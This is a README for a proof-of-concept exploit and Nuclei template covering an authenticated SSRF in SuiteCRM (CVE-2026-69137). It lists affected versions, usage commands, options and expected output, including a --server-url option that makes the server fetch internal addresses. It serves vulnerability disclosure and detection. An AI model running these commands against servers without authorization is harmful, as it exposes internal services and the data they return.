CVE-2026-69137 - SuiteCRM Authenticated SSRF

Authenticated server-side request forgery proof of concept for SuiteCRM through the CalendarAccount/testConnection endpoint and the caldav_basic provider.

Summary

Affected SuiteCRM versions accept an authenticated user's server_url and pass it to cURL without validating the destination. This enables server-side requests to loopback or internal HTTP services. In vulnerable releases, a failed connection response may also disclose the fetched service's response data in the error message.

The PoC authenticates with a valid SuiteCRM account and requests a controlled URL. Its default destination, http://127.0.0.1:1/, is a closed loopback port: it proves that SuiteCRM attempted the server-side connection without requesting an external service.

Affected Versions

• Vulnerable: SuiteCRM <= 7.15.1 and <= 8.10.1
• Fixed: SuiteCRM 7.15.2 and 8.10.2
• Advisory: https://github.com/SuiteCRM/SuiteCRM/security/advisories/GHSA-72r3-24x4-j46c
• CVE: CVE-2026-69137
• CWE: CWE-918

Requirements

• Python 3
• Valid SuiteCRM credentials or an authenticated session cookie
• Authorization to test the SuiteCRM instance and any destination supplied with --server-url

No third-party Python packages are required.

Usage

Basic local validation against SuiteCRM:

python3 CVE-2026-69137.py \
  -u http://127.0.0.1:8081 \
  -U admin \
  -P 'password'

Use an existing authenticated session:

python3 CVE-2026-69137.py \
  -u https://suitecrm.example \
  --cookie 'PHPSESSID=value'

Test an authorized internal or controlled destination:

python3 CVE-2026-69137.py \
  -u https://suitecrm.example \
  -U user \
  -P 'password' \
  --server-url http://127.0.0.1:8080/

Options

-u, --url                 SuiteCRM base URL
-U, --username            SuiteCRM username
-P, --password            SuiteCRM password
--cookie                  Authenticated SuiteCRM Cookie header value
--server-url              URL fetched by SuiteCRM; default: http://127.0.0.1:1/
--timeout                 HTTP timeout in seconds; default: 35
-k, --insecure            Disable TLS certificate verification

Expected Output

Vulnerable versions return a connection test failure after processing the supplied URL:

[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
    Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...

Patched versions reject disallowed destinations before attempting the connection:

[+] Target rejected the supplied URL; the SSRF fix appears to be present.

Nuclei Template

CVE-2026-69137.yaml authenticates with username and password, reuses the SuiteCRM session, and performs the same closed-loopback probe:

nuclei -u https://suitecrm.example \
  -t CVE-2026-69137.yaml \
  -var username=user \
  -var password='password'

The template was validated with:

nuclei -validate -t CVE-2026-69137.yaml

Notes

• Use --server-url only against destinations you are authorized to test.
• The default loopback probe is intentionally non-destructive and does not contact an external service.
• The template submission is available at https://github.com/projectdiscovery/nuclei-templates/pull/17335.